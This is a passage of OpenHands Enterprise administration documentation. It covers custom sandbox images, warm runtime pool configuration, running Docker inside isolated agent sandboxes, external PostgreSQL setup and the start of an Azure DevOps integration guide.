standard OpenHands agent-server behavior. Only extend, do not replace. - - -### Base Image - -```dockerfile -FROM ghcr.io/openhands/agent-server:1.46.0-python -``` - -This example matches OpenHands Enterprise 0.64.0. Pin a specific version tag to ensure reproducible -builds, and replace it with the tag expected by your installed release. Check -[ghcr.io/openhands/agent-server](https://github.com/OpenHands/OpenHands/pkgs/container/agent-server) -for available tags. - -### Version Compatibility - -Each OpenHands Enterprise release expects a specific agent-server version. The base image tag you -build from must match the release you run: the `openhands-sdk` inside the sandbox and the one inside -the OpenHands application must agree on major and minor version. - -To find the expected tag, enable **Use a Custom Sandbox Image** in the Admin Console. The -**Sandbox Image Tag** field defaults to the tag the current release expects. - -When a conversation starts on a custom image, OpenHands checks the sandbox's agent-server version. -If it does not match the release, the conversation fails with an error naming the expected and -actual versions. Rebuild your image from the expected tag and update the **Sandbox Image Tag** -field to fix it. - - - Rebuild your custom image before each upgrade. The agent-server base image changes with every - OHE release, and an image built for an older release will be rejected by the version check. - - -### Example: Build and Push - -```bash -docker buildx build \ - --platform linux/amd64 \ - -f your-project/Dockerfile \ - -t ghcr.io//openhands-custom-image: \ - --push \ - . -``` - -Use `--platform linux/amd64` because the Enterprise Replicated VM runs on `x86-64`. - -### What to Bake In - -Good candidates for prebaking: - -- Pinned repository checkouts -- Package manager caches and installed dependencies (`node_modules`, Python virtualenvs, etc.) -- Compiled or transpiled output -- Native system packages (`xvfb`, `libkrb5-dev`, `pkg-config`, etc.) -- Browser or Electron artifacts -- Stable helper scripts such as `prepare-*` and `*-verify` wrappers - -### What to Keep Out - - - Do not bake the following into your image: - - - Secrets, API keys, or personal credentials - - Machine-specific paths or environment assumptions - - Uncommitted source changes or task-specific fixes - - Rapidly changing dependencies (use a lightweight `prepare-*` helper instead) - - -If the repository or dependencies change frequently, include a `prepare-*` script in the image -so the agent can refresh only the parts that need updating without a full rebuild. - -## Configure a Single Custom Image (Admin Console) - -Once your image is built and pushed to a registry, point the Replicated Admin Console at it. - -1. Open the **Admin Console** at `https://admin.:30000`. -2. Navigate to **Config** and find the **Sandbox Configuration** section. -3. Set the following fields: - -| Field | Value | -|---|---| -| **Use a Custom Sandbox Image** | Enabled | -| **Sandbox Image Repository** | Your image repository (e.g. `ghcr.io/your-org/openhands-custom-image`) | -| **Sandbox Image Tag** | Your image tag (e.g. `v1.2.0`) | -| **Registry Server** | If your registry requires authentication | -| **Registry Username** | If your registry requires authentication | -| **Registry Password or Credentials** | If your registry requires authentication | - -4. Click **Save config** and then **Deploy** to apply the change. - -This single image becomes both the default image for new conversations and the image kept ready in the -installer-managed warm pool. - - - This setting applies to the **sandbox / agent-server image** only (the image that runs inside each - agent's isolated workspace). It does not replace the other OpenHands service images. - - -## Run Multiple Custom Images with Warm Runtime Pools - -To offer several sandbox images at once, configure **warm runtime pools** through the Runtime API. -Each configuration names one image and keeps a pool of pre-started sandbox pods ready for it. The -OpenHands application automatically exposes every configuration as a selectable sandbox, so users can -pick their environment without any redeployment. - -**Requirements:** - -- OpenHands Enterprise **0.64.0 or later**. -- `kubectl` access to the cluster. On a Replicated VM install, get a shell with - `sudo /var/lib/embedded-cluster/bin/openhands shell`; on a Helm install, use your normal kubeconfig. -- Custom images built and pushed as described above (all on the agent-server version your release expects). - -### How It Works - -- The installer-managed configuration remains the base configuration. Configurations saved through the - Runtime API are overlaid by name: a new name adds a pool, while an existing name overrides that - installer-managed entry. -- You manage database configurations with the admin REST endpoints - (`PUT` / `DELETE /api/admin/warm-runtime-configs/{name}`). Deleting an override reveals the - installer-managed entry again. -- A reconciler job runs **every minute** and creates or removes warm sandbox pods so each - configuration has `count` unclaimed pods ready. -- The OpenHands application polls the configuration list (cached for 60 seconds) and exposes each - configuration as a **sandbox spec**. Users choose their default in **Settings → Application → Default Sandbox**. -- When a conversation starts, the Runtime API hands it a matching warm pod in a few seconds. If no - warm pod is available, the sandbox cold-starts from the image instead (20+ seconds), and the - reconciler replenishes the pool. - -Changes take effect within about a minute, with no application restarts and no redeployments. - - - The installer-managed `v1_current` pool remains active when you add API-managed configurations. Do - not save a `v1_current` configuration unless you intentionally want to override the installer default. - - -### Step 1: Confirm the Admin Password - -The Runtime API's admin endpoints authenticate with an admin password. Replicated generates a durable -password, stores it in the `admin-password` secret, and injects it into the runtime-api pod. The helper -script in Step 2 uses that pod environment. If the value is empty, the script reports an error before a -save or delete. - -To set or rotate the password: - -1. Open the `Admin Console` and select `Config`. -2. In `Sandbox Configuration`, set `Runtime API Admin Password`. -3. Select `Save config`, then deploy the new configuration. - -The value persists across later deploys. Changing it automatically restarts runtime-api so the new -password takes effect. For a Helm installation, populate the chart's `admin-password` Secret before -using the admin endpoints and restart runtime-api after changing it. - -### Step 2: Save the Helper Script - -The Runtime API is not exposed outside the cluster by default. Download the maintained -[`warm-runtime-configs.sh`](https://github.com/OpenHands/runtime-api/blob/main/scripts/warm-runtime-configs.sh) -helper, which runs each API call inside the runtime-api pod with `kubectl exec`: - -```bash -curl -fsSLo warm-runtime-configs.sh \ - https://raw.githubusercontent.com/OpenHands/runtime-api/main/scripts/warm-runtime-configs.sh -chmod +x warm-runtime-configs.sh -./warm-runtime-configs.sh list -``` - - - The helper uses `DEFAULT_API_KEY` and `ADMIN_PASSWORD` from the runtime-api pod without printing or - copying either value. Listing authenticates with the regular API key. Saving and deleting use the - admin password via a challenge-response login that returns a 24-hour JWT. - - -List responses identify each configuration's `source`. When `v1_current` is not overridden, it appears -with `"source": "file"`. - -### Step 3: Start From the Installer's Default Configuration - -Do not write configurations from scratch. The environment in a warm runtime configuration is what its -sandbox pods actually boot with; the default configuration contains install-specific values (webhook -callback URL, CA bundles, workspace paths) that sandboxes need to function. Export the default from the -installer-managed ConfigMap and use it as your template: - -```bash -kubectl -n openhands get configmap warm-runtimes-config \ - -o jsonpath='{.data.warm-runtimes\.json}' \ - | jq '.configs[] | select(.name == "v1_current") | del(.name)' > default-config.json -``` - -(If the ConfigMap has a different name in your install, find it with -`kubectl -n openhands get configmap | grep warm-runtimes`.) - -The installer-managed `v1_current` entry remains live and follows Admin Console changes. Derive each -custom image configuration from the exported template, changing only the image and pool size: - -```bash -jq '.image = "ghcr.io/your-org/openhands-php:8.4-v1" | .count = 1' \ - default-config.json > php-web.json -./warm-runtime-configs.sh save php-web php-web.json - -./warm-runtime-configs.sh list -``` - -### Configuration Format - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| `image` | string | Yes | Full image reference (e.g. `ghcr.io/your-org/openhands-php:8.4-v1`) | -| `working_dir` | string | Yes | Working directory inside the sandbox (copy from the default) | -| `command` | array | Yes | Agent-server start command (copy from the default) | -| `environment` | object | Yes | Environment variables the sandbox boots with (copy from the default) | -| `count` | integer | No | Warm pods to keep ready for this image. When omitted, uses the installer-wide **Warm Runtime Count** (default: `1` on Replicated installs) | -| `run_as_user` | integer | No | Copy from the installer default (currently `10001`) so warm pods match application start requests | -| `run_as_group` | integer | No | Copy from the installer default (currently `10001`) so warm pods match application start requests | -| `fs_group` | integer | No | Copy from the installer default (currently `10001`) so warm pods match application start requests | - -The configuration name comes from the URL path (the `save ` argument), not the body. Saving -creates or replaces a database entry. If an installer-managed entry has the same name, the database -entry overrides it. List responses also include a read-only `source` field: `file` for installer-managed -entries and `db` for API-managed entries and overrides. Do not add `source` to a saved configuration. - -The application uses the image reference as the sandbox spec ID. Give every selectable configuration a -distinct image reference; configurations that share an image reference cannot be selected independently, -even if their commands or environments differ. - - - Set `count` explicitly. Every warm pod reserves the full sandbox resource envelope (including 10Gi of - ephemeral storage by default) whether or not it is in use, so the sum of all pool sizes must fit your - node capacity. Pools that exceed capacity show up as `Pending` pods. Start with `count: 1` per image - and grow the pools that see real traffic. - - -### Step 4: Verify the Warm Pools - -The reconciler runs every minute. Watch it create the pods: - -```bash -# Warm (unclaimed) sandboxes: runtime deployments with no session_id label yet -kubectl -n openhands get deploy -l 'runtime_id,!session_id' \ - -o custom-columns='NAME:.metadata.name,READY:.status.readyReplicas,IMAGE:.spec.template.spec.containers[0].image' -``` - -You should see one `runtime-` deployment per warm pod, with your configured images. To see -the reconciler's own view (per-pool counts, pull failures, culling decisions), read the latest -reconciler job log: - -```bash -JOB=$(kubectl -n openhands get jobs --sort-by=.metadata.creationTimestamp -o name \ - | grep warm-runtimes | tail -1) -kubectl -n openhands logs "$JOB" -``` - -If a pod is stuck pulling your image, `kubectl -n openhands describe pod ` shows the pull -error. For private registries, either fill in the **Registry Server / Username / Password** fields in -the Admin Console's **Sandbox Configuration** section (they render an image pull secret that runtime -pods use), or add your own secret name to the runtime-api `RUNTIME_IMAGE_PULL_SECRETS` setting. - -### Step 5: Pick an Image and Start a Conversation - -Within a minute of saving configurations (the application caches the list for 60 seconds): - -- **Per user**: each user opens **Settings → Application** and picks an image in the **Default Sandbox** - dropdown (entries are the image references). Before a user picks an image, the application uses the - configuration named `v1_current`, or the first configuration if no `v1_current` exists. All of the - user's new conversations use their selected image. -- **Per conversation (API)**: start a sandbox for a specific image, then attach a conversation to it: - - ```bash - # 1. Start a sandbox from a specific spec (the spec id is the image reference) - curl -X POST "https://app./api/v1/sandboxes?sandbox_spec_id=ghcr.io/your-org/openhands-php:8.4-v1" \ - -H "Authorization: Bearer $API_KEY" - # 2. Create the conversation on that sandbox, using "id" from the response - curl -X POST "https://app./api/v1/app-conversations" \ - -H "Authorization: Bearer $API_KEY" \ - -H "Content-Type: application/json" \ - -d '{"sandbox_id": ""}' - ``` - -To confirm a conversation claimed a warm pod rather than cold-starting, note that its sandbox was -ready in a few seconds, or check the cluster: the claimed runtime deployment now carries a -`session_id` label, and the reconciler creates a fresh warm pod to replace it within a minute. - -### How Warm Pods Are Claimed - -A conversation claims a warm pod only when the pod **exactly matches** the requested image, command, -working directory, environment (ignoring a fixed set of session-specific variables), and -`run_as_user` / `run_as_group` / `fs_group`. Because the application requests exactly what the -selected configuration declares, conversations started through OpenHands match automatically. - -Cold starts still happen when: - -- All warm pods for the image are already claimed (`count` too low for the traffic). -- The configuration changed in the last minute, so the old pods no longer match and replacements are - still starting. -- Warm pods cannot become ready (image pull failures, insufficient node resources). - -Cold-started conversations run the same image and work normally; they just take 20+ seconds to begin. - -### Updating and Deleting Configurations - -Update by saving the same name again. To roll out a new image version: - -```bash -jq '.image = "ghcr.io/your-org/openhands-php:8.4-v2"' php-web.json > php-web-v2.json -./warm-runtime-configs.sh save php-web php-web-v2.json -``` - -Within a minute the reconciler stops the old pods and starts pods on the new image. Delete a -database-only configuration to remove its pool: - -```bash -./warm-runtime-configs.sh delete php-web -``` - -If the deleted name overrides an installer-managed entry, the underlying entry becomes effective again -instead of disappearing. Confirm the result with `./warm-runtime-configs.sh list`; its `source` changes -from `db` to `file`. - -Keep superseded image tags available in your registry while conversations that used them can still -resume: a paused conversation resumes on its **original** image. Delete old tags only after the -conversations that used them are gone (by default, stopped sandboxes are cleaned up after 10 days). - -### After Upgrading OpenHands Enterprise - - - API-managed configurations are **frozen snapshots**; upgrades do not touch them. The installer-managed - `v1_current` entry updates automatically unless a database entry with that name overrides it. Each - release expects a specific agent-server version and may add or change sandbox environment variables. - After every OpenHands Enterprise upgrade: - - 1. Rebuild your custom images on the release's new agent-server base version. - 2. Re-export the default template (Step 3) from the refreshed ConfigMap. - 3. Re-derive and save each API-managed custom configuration from the new template. - 4. If you intentionally override `v1_current`, refresh or delete that override so the new - installer-managed entry can take effect. - - Skipping this leaves configurations pointing at the previous agent-server version, and new - conversations fail with a version mismatch error until the configurations are updated. - - -### Return an Entry to Installer Management - -Delete a same-named database override to restore the installer-managed entry on the next reconciler -cycle. For example, if `v1_current` was intentionally overridden: - -```bash -./warm-runtime-configs.sh delete v1_current -./warm-runtime-configs.sh list # v1_current now reports "source": "file" -``` - -Other API-managed configurations continue running. Delete them individually when you no longer want -their pools or images in the application's selector. - -### Troubleshooting - -| Symptom | Cause and fix | -|---|---| -| `HTTP 403: Admin functionality is disabled` | The runtime-api deployment has no admin password, or the configured value is empty. On Replicated installs, set `Runtime API Admin Password` per Step 1 and deploy. | -| `HTTP 401` on login | Wrong password, or the challenge expired. Challenges are single-use and expire after 5 minutes; the script fetches a fresh one per call. | -| `HTTP 401: ...provide a valid API key...` on list | The list endpoint authenticates with `X-API-Key`, not the admin JWT. Use the helper script. | -| Installer-managed default is missing from the list | The release does not include overlay support, or the overlay is not enabled. Upgrade OpenHands Enterprise and confirm that the list reports `source` before saving configurations. | -| Saved a config but the dropdown does not show it | The application caches the list for 60 seconds; wait a minute and reload. Also confirm with `./warm-runtime-configs.sh list`. | -| No warm pods appear | Read the latest reconciler job log (Step 4). Look for image pull errors or scheduling failures. | -| Warm pods `Pending` | Insufficient node resources. Every warm pod reserves the full sandbox resource envelope; lower the pool `count`s or add capacity. | -| Conversations cold-start despite warm pods | Pool exhausted or configuration recently changed; see [How Warm Pods Are Claimed](#how-warm-pods-are-claimed). | -| Sandbox fails at start with an agent-server version error | The custom image's base version does not match the release. Rebuild on the expected agent-server version (see [Base Image](#base-image)). | -| Conversations on a custom image start but never show agent output | The configuration's `environment` is missing install-specific values (webhook callback URL, CA bundles). Rebuild the configuration from the default template (Step 3). | - -### API Reference - -The endpoints below are served by the runtime-api service (in-cluster: `http://:5000`). - -**Admin authentication** (for save and delete): - -1. `GET /api/admin/challenge` returns `{challenge, salt, iterations}`. Challenges are single-use and - expire after 5 minutes. -2. Compute `PBKDF2-HMAC-SHA256(password, salt + challenge, iterations, dklen=32)` and hex-encode it. -3. `POST /api/admin/login` with `{"challenge": ..., "hash": ...}` returns `{"token": ...}`, a JWT - valid for 24 hours. -4. Send `Authorization: Bearer ` on admin requests. - -**List configurations** (regular API key, not admin): - -```http -GET /api/warm-runtime-configs -X-API-Key: {api-key} -``` - -Returns `200` with the effective configuration set: - -```json -{ - "configs": [ - {"name": "v1_current", "image": "...", "source": "file"}, - {"name": "php-web", "image": "...", "source": "db"} - ] -} -``` - -Installer-managed entries have `source: "file"`. API-managed entries have `source: "db"`; a database -entry with the same name replaces the file entry in this effective list. - -**Create or update a configuration** (admin): - -```http -PUT /api/admin/warm-runtime-configs/{name} -Authorization: Bearer {admin-jwt} -Content-Type: application/json - -{"image": "...", "working_dir": "...", "command": [...], "environment": {...}, "count": 1} -``` - -Returns `200` with the saved configuration. Creates or overwrites; the name in the URL is the identity. - -**Delete a configuration** (admin): - -```http -DELETE /api/admin/warm-runtime-configs/{name} -Authorization: Bearer {admin-jwt} -``` - -Returns `200` with a confirmation message, or `404` if no database configuration has that name. When -the deleted name also exists in the installer-managed file, that file entry becomes effective again. - -## Reference - - - - Full SDK documentation on building custom sandbox images - - - Dockerfile, benchmark scripts, and analysis tooling for the VS Code custom image example - - - How conversations, sandboxes, and their lifecycle fit together - - - Capacity planning, including headroom for warm pools - - - -### Running Docker in the Agent Sandbox -Source: https://docs.openhands.dev/enterprise/docker-in-sandbox.md - -Agents in OpenHands Enterprise can run a Docker daemon **inside** their own sandbox. This means an -agent can pull and run containers, bring up a multi-service stack with Docker Compose, and build and -run its own images—all from within the isolated workspace where it already edits code and runs commands. - -Because everything happens inside the sandbox, the agent never touches your host's Docker daemon, -your cluster, or other tenants. You get the convenience of containers in the loop without giving up -the isolation that makes autonomous agents safe to run. - -## Why Run Containers Inside the Sandbox - -Many real-world projects assume Docker is part of the development workflow. When the agent can use -Docker itself, it can work on those projects end to end instead of stopping at the point where a -container is required. - -- **Run a containerized app to test it.** If your application ships as a set of containers—for - example, a `docker compose` stack—the agent can start it and interact with it for QA, reproduction, - and verification. -- **Prove a Dockerfile actually works.** When a task involves creating or modifying a `Dockerfile`, - the agent can build the image and run it to confirm the change is correct, rather than editing the - file blind. -- **Distribute components to the sandbox as images.** Teams building on top of OpenHands can package - their own tools and services as containers and have the agent run them inside the sandbox. -- **Use containerized build and test tooling.** Toolchains that are only published as images become - usable in the agent's normal workflow. - -## Security Posture - -Running a Docker daemon inside a workload is normally a red flag: the traditional approaches -("Docker-in-Docker" with a privileged container, or mounting the host's Docker socket) either weaken -isolation or hand the workload effective control of the host. OpenHands Enterprise takes neither of -those approaches. - -Instead, each sandbox runs under a **hardened container runtime that provides kernel-level isolation -between the agent's workload and the host node.** Within that boundary, nested containers run -**unprivileged**, using **user-namespace remapping** so that "root" inside the sandbox maps to an -ordinary, unprivileged user on the host. - -Concretely, this design gives you the following guarantees: - -- **No privileged mode.** Enabling Docker inside the sandbox does **not** require running the sandbox - as a privileged container. -- **No host Docker socket.** The in-sandbox Docker daemon is the sandbox's own daemon. The host's - Docker socket is never mounted into the sandbox, so the agent cannot reach the host's containers or - images. -- **Unprivileged by construction.** Sandbox processes run as a **non-root user**, and nested - containers are confined by user namespaces. Root inside a nested container is not root on the node. -- **Per-workload isolation.** Each sandbox is a separate, isolated environment running as its own - Kubernetes workload (one pod per sandbox). Containers an agent starts live and die inside that - sandbox and are not shared with other agents, other users, or the cluster. -- **No cluster credentials in the sandbox.** Sandbox pods do not mount a Kubernetes service-account - token, so a sandbox cannot use one to reach the cluster's API. -- **No host networking.** Sandbox pods run on the cluster pod network—not the host network - namespace—so the containers an agent starts cannot bind to or observe the node's network interfaces - directly. -- **Enforced at the platform level.** The isolation runtime is chosen by the operator through a - Kubernetes [`RuntimeClass`](https://kubernetes.io/docs/concepts/containers/runtime-class/), and the - stronger-isolation runtime is the default. The security boundary is a property of the deployment—not - something an agent or an end user can turn off. - -This is a core value of running OpenHands on Kubernetes with Enterprise: agents get a full, -container-capable Linux environment while the blast radius of anything they do stays contained to a -single disposable sandbox. - -### Network Access - -The isolation guarantees above—separating each sandbox from the host node and from other -tenants—are provided by the platform. They are built into the deployment and are not something you -configure or manage. - -Controlling where sandboxes can reach on your *wider* network is governed by where you place the -OpenHands Enterprise instance. Because the internal Kubernetes layer is managed as part of the -appliance, the lever you own is the network around it: use your VPC and subnet placement, security -groups, or on-premises firewall rules to constrain the instance's egress and its access to sensitive -internal systems, just as you would for any server that runs untrusted workloads. - - - To learn more about the sandbox itself—including how to prebake dependencies and tools—see - [Custom Sandbox Images](/enterprise/custom-sandbox-image). - - -## Tutorial: Using Docker From an Agent - -The examples below are things you can ask an agent to do in a normal conversation. Docker is already -installed in the standard Enterprise sandbox image, and the agent will start the Docker daemon the -first time it needs it. You don't have to run anything yourself—just give the agent the task. - - - Inside the sandbox, the agent runs Docker with `sudo` and starts the daemon - (`sudo dockerd`) on first use. You will see it do this in the conversation; that is expected and - safe given the isolation described above. - - - - - Ask the agent to verify the daemon is up: - - ```text - Start the Docker daemon if it isn't running, then show me `docker version` - and confirm the daemon is reachable. - ``` - - The agent starts `dockerd`, then runs `docker version`, reporting both a Client and a Server - section—confirming a working daemon inside the sandbox. - - - - Ask the agent to run a throwaway container: - - ```text - Run the hello-world container and show me the output. - ``` - - This pulls `hello-world` from the registry and runs it, printing Docker's - "Hello from Docker!" confirmation message. - - - - Ask the agent to stand up a service and check that it responds: - - ```text - Create a docker-compose.yml with a single nginx service mapping host port 8080 - to container port 80. Run `docker compose up -d`, then curl http://localhost:8080 - and show me the HTTP status code. When you're done, run `docker compose down`. - ``` - - The agent writes a compose file like this: - - ```yaml - services: - web: - image: nginx:alpine - ports: - - "8080:80" - ``` - - It then starts the stack, curls the service (which returns `200`), and tears the stack back down. - - - - This is the workflow that was impossible before—actually building and running an image to prove a - `Dockerfile` works: - - ```text - Create a Dockerfile based on alpine whose command prints "hello-from-built-image". - Build it as demo:latest, then run it and show me the output. - ``` - - The agent writes a `Dockerfile`: - - ```dockerfile - FROM alpine - CMD ["echo", "hello-from-built-image"] - ``` - - builds it with `docker build -t demo:latest .`, and runs it—printing - `hello-from-built-image`. If you're modifying an existing `Dockerfile` in your repository, the - same loop lets the agent verify its change instead of guessing. - - - - - You don't need to spell out every command. A high-level request like *"our app runs with Docker - Compose—bring it up and check the homepage loads"* is usually enough; the agent will start the - daemon, run the stack, and verify it. - - -## Requirements - -- This feature is available in **OpenHands Enterprise 0.18.2 or higher**. -- Docker-in-sandbox relies on the stronger sandbox isolation runtime, which is the **default** for - OpenHands Enterprise (configured under **Sandbox Isolation** in the installer). This runtime - requires nodes running **Linux kernel 6.3 or newer** (for example, Ubuntu 24.04); the installer's - pre-flight checks verify this before deploying. The alternative standard runtime does not support - running Docker inside the sandbox. -- The standard Enterprise sandbox image ships with Docker, Buildx, and the Compose plugin - preinstalled. If you use a [custom sandbox image](/enterprise/custom-sandbox-image), extend the - standard base image so this tooling remains available. - - - **Self-hosting Agent Canvas instead?** The same capability is available, but without the - hardened runtime it requires starting the container with `--privileged`, which weakens - isolation between the agent and the host. See - [Let the Agent Use Docker](/openhands/usage/agent-canvas/backend-setup/docker#let-the-agent-use-docker). - - - - Prebake repositories, dependencies, and tooling—including your own container images—into the - sandbox your agents start from. - - -### Enterprise vs. Open Source -Source: https://docs.openhands.dev/enterprise/enterprise-vs-oss.md - -This page describes the key differences between **OpenHands Agent Canvas** (open source) for individual developers and small teams running the Agent Canvas on their own machines, and **OpenHands Enterprise** for organizations that need advanced collaboration, integrations, and management capabilities. - -## Feature Comparison - -The table below highlights the key differences between the OpenHands Agent Canvas and OpenHands Cloud / Enterprise offerings. - - - -| Feature | Agent Canvas (Local Backend) | Agent Canvas (VM Backend) | OpenHands Cloud (Hosted) | OpenHands Enterprise (Self-hosted) | -| ----- | ----- | ----- | ----- | ----- | -| **CORE** | | | | | -| Works on your local projects | ✓ | — | — | — | -| One-off agents | ✓ | ✓ | ✓ | ✓ | -| Secrets, MCP, skills | ✓ | ✓ | ✓ | ✓ | -| LLM Profiles | ✓ | ✓ | ✓ | ✓ | -| [**AUTOMATIONS**](/openhands/usage/automations/overview) | | | | | -| Scheduled automations | ✓ | ✓ | ✓ | ✓ | -| Polling automations (w/ conditional logic) | ✓ | ✓ | ✓ | ✓ | -| Event-driven automations | — | ✓ VM must be reachable | ✓ | ✓ | -| **SANDBOXING & SCALE** | | | | | -| Isolated sandboxes | — | On Roadmap | ✓ | ✓ | -| Scalable, always-on agents | — | — | ✓ | ✓ | -| **INTEGRATIONS & ADMIN** | | | | | -| Use OpenHands in Slack, GitHub, GitLab | ✓ | ✓ | ✓ | ✓ | -| One-click integrations | — | — | ✓ | ✓ | -| Authentication & authorization | — | — | ✓ | ✓ | -| Role-based access control | — | — | ✓ | ✓ Keycloak | -| [Multi-user organizations](/openhands/usage/cloud/organizations/overview) | — | — | ✓ | ✓ | -| Enforce default LLMs | — | — | ✓ | ✓ | -| **ENTERPRISE** | | | | | -| SAML | — | — | — | ✓ | -| Custom runtime images | — | — | — | ✓ | -| LLM gateway & budgeting | — | — | — | ✓ LiteLLM | -| [Observability](/enterprise/analytics) | — | — | — | ✓ Laminar | -| [Plugin marketplace](/enterprise/plugin-marketplace) | — | — | — | ✓ | -| **License** | Open Source | Open Source | Commercial SaaS | Commercial | - -## When to Choose Each Option - -### OpenHands Agent Canvas - -The OpenHands Agent Canvas is ideal for: - -- Individual developers exploring AI-assisted coding -- Small teams with basic requirements -- Self-hosted environments where you manage your own infrastructure -- Running OpenHands locally on your own machine using the Agent Canvas - -### OpenHands Enterprise - -OpenHands Enterprise is the right choice when you need: - -- **Multi-use RBAC** — Manage multiple users from a single platform -- **Platform integrations** — Invoke OpenHands directly from Slack, Jira, GitHub, GitLab, or Bitbucket -- **Scalability** — Run unlimited parallel agent conversations without local resource constraints -- **Enterprise security** — SAML authentication, RBAC, and centralized audit logs -- **Usage Monitoring** — Track and enforce budgets; monitor usage across all users - -## Getting Started - - - - Install Agent Canvas locally with npm, npx, Docker, or a source checkout. - - - Discuss your organization's requirements and get a customized deployment plan for OpenHands Enterprise. - - - -### External PostgreSQL -Source: https://docs.openhands.dev/enterprise/external-postgres.md - -OpenHands Enterprise can connect to an external PostgreSQL instance instead of using -the bundled database. This is useful when you have existing database infrastructure, -need specific backup/recovery procedures, or require high availability configurations. - -## PostgreSQL Version - -OpenHands Enterprise requires **PostgreSQL 16.4.0 or above**. PostgreSQL 17 is also supported. - -## Database Encoding Requirement - - - All databases used by OpenHands Enterprise **must use UTF8 encoding**. Using other encodings - (such as LATIN1) will cause database migrations to fail during installation or upgrades. - - -When creating databases manually or configuring your PostgreSQL instance, ensure UTF8 encoding -is set: - -```sql --- Check current database encoding -SELECT datname, pg_encoding_to_char(encoding) AS encoding FROM pg_database; - --- Create databases with explicit UTF8 encoding -CREATE DATABASE openhands WITH ENCODING 'UTF8'; -``` - -If your PostgreSQL server's default encoding is not UTF8, you may need to specify the encoding -explicitly when creating each database, or configure the server's default encoding. - -## Required Databases - -OpenHands Enterprise uses the following databases: - -| Database | Purpose | -|----------|---------| -| `openhands` | Core application data | -| `bitnami_keycloak` | Identity and access management | -| `litellm` | LLM proxy configuration and usage tracking | -| `runtime_api_db` | Runtime/sandbox management | -| `automations` | Scheduled tasks and automation workflows | - -## Database User Requirements - -The PostgreSQL user provided to OpenHands Enterprise needs specific privileges depending -on your preferred setup approach. - -### Option 1: Automatic Database Creation (Recommended) - -If you provide a database user with the `CREATEDB` privilege, OpenHands Enterprise will -automatically create all required databases during installation. - -```sql --- Create user with CREATEDB privilege -CREATE USER openhands_user WITH PASSWORD 'your-secure-password' CREATEDB; -``` - -When the user creates its own databases, it will automatically have all necessary privileges -on them including the ability to manage the `public` schema. - -### Option 2: Manual Database Creation - -If your security policies prevent granting `CREATEDB`, you must manually create all -databases before installation: - -```sql --- Create the databases with UTF8 encoding -CREATE DATABASE openhands WITH ENCODING 'UTF8'; -CREATE DATABASE bitnami_keycloak WITH ENCODING 'UTF8'; -CREATE DATABASE litellm WITH ENCODING 'UTF8'; -CREATE DATABASE runtime_api_db WITH ENCODING 'UTF8'; -CREATE DATABASE automations WITH ENCODING 'UTF8'; - --- Create user without CREATEDB -CREATE USER openhands_user WITH PASSWORD 'your-secure-password'; - --- Grant privileges on each database -GRANT ALL PRIVILEGES ON DATABASE openhands TO openhands_user; -GRANT ALL PRIVILEGES ON DATABASE bitnami_keycloak TO openhands_user; -GRANT ALL PRIVILEGES ON DATABASE litellm TO openhands_user; -GRANT ALL PRIVILEGES ON DATABASE runtime_api_db TO openhands_user; -GRANT ALL PRIVILEGES ON DATABASE automations TO openhands_user; - --- Connect to each database and grant schema privileges -\c openhands -GRANT USAGE, CREATE ON SCHEMA public TO openhands_user; - -\c bitnami_keycloak -GRANT USAGE, CREATE ON SCHEMA public TO openhands_user; - -\c litellm -GRANT USAGE, CREATE ON SCHEMA public TO openhands_user; - -\c runtime_api_db -GRANT USAGE, CREATE ON SCHEMA public TO openhands_user; - -\c automations -GRANT USAGE, CREATE ON SCHEMA public TO openhands_user; -``` - -## Network Requirements - -Ensure your PostgreSQL instance is accessible from: - -- The OpenHands application pods/services -- The Keycloak service -- The LiteLLM proxy service -- The Runtime API service - -If using network policies or firewalls, allow connections on the PostgreSQL port (default: 5432) -from the OpenHands deployment. - -## Configuration - -When configuring OpenHands Enterprise, provide your external PostgreSQL connection details -in the Admin Console or Helm values: - -- **Host**: Your PostgreSQL server hostname or IP -- **Port**: PostgreSQL port (default: 5432) -- **Username**: The database user created above -- **Password**: The user's password - - - For production deployments, we recommend enabling SSL/TLS for database connections. - - -### Azure DevOps -Source: https://docs.openhands.dev/enterprise/integrations/azure-devops.md - -This guide explains how to connect Azure DevOps Services to an OpenHands -Enterprise installation. The integration lets users sign in with Microsoft -Entra ID, open Azure Repos, create branches and pull requests, and use Azure -Boards work items or pull request comments as context for OpenHands workflows. - - - This guide covers Azure DevOps Services at `https://dev.azure.com`. Azure - DevOps Server is not covered by this integration. - - -## Prerequisites - -- An OpenHands Enterprise installation using Replicated or standalone Helm. -- A Microsoft Entra administrator who can register an application and create a - client secret. -- An Azure DevOps Services organization, project, and repository. -- Azure DevOps users with access to the projects and repositories they will use - with OpenHands. -- Network access from OpenHands to `login.microsoftonline.com` and - `dev.azure.com`. -- If you plan to trigger automations from Azure DevOps Service Hooks, network - access from Azure DevOps back to the OpenHands app URL or automation webhook - URL. - -## Register a Microsoft Entra Application - -In the Azure portal, create a Microsoft Entra app registration for OpenHands. - -1. Go to **Microsoft Entra ID > App registrations**. -2. Click **New registration**. -3. Enter a name such as `OpenHands Azure DevOps`. -4. Select the supported account type for your organization. -5. Add a **Web** redirect URI: - - ```text - https:///realms/allhands/broker/azure_devops/endpoint - ``` - - Replace `` with your installation's Authentication - hostname (`auth.` by default), for example - `https://auth.openhands.example.com/realms/allhands/broker/azure_devops/endpoint`. - -6. Click **Register**. -7. Copy the **Directory (tenant) ID** and **Application (client) ID**. -8. Go to **Certificates & secrets** and create a client secret. Copy the secret - value before leaving the page. -9. If your tenant requires explicit API permissions, add the Azure DevOps - delegated permission required for user access and grant admin consent. - -OpenHands requests the following Microsoft identity scopes during sign-in: - -```text -openid email profile offline_access https://app.vssps.visualstudio.com/.default -``` - -## Configure Azure DevOps Access - -Make sure the users who will sign in to OpenHands have access to the Azure -DevOps organization, projects, and repositories they need. OpenHands uses the -signed-in user's Azure DevOps access token for repository discovery and Git -operations. - -Repository names in OpenHands use this format: - -```text -organization/project/repository -``` - -For example: - -```text -contoso/web/PetStore -``` - -## Configure the Admin Console - -Pick the path that matches how OpenHands Enterprise is deployed. - - - - Open the Replicated Admin Console for your OpenHands Enterprise installation - and go to the application configuration page. - - In **Azure DevOps Authentication**: - - 1. Enable **Azure DevOps Authentication**. - 2. Enter the **Microsoft Entra Tenant ID**. - 3. Enter the **Azure DevOps Organization** if you want to set a default - organization. - 4. Enter the **Azure DevOps Client ID**. - 5. Enter the **Azure DevOps Client Secret**. - 6. Save and deploy the updated configuration. - - - The Azure DevOps Organization field is the organization name only, for - example `contoso` for `https://dev.azure.com/contoso`. Do not include - `https://dev.azure.com/`. - - - - - Set Azure DevOps values on the `openhands` and 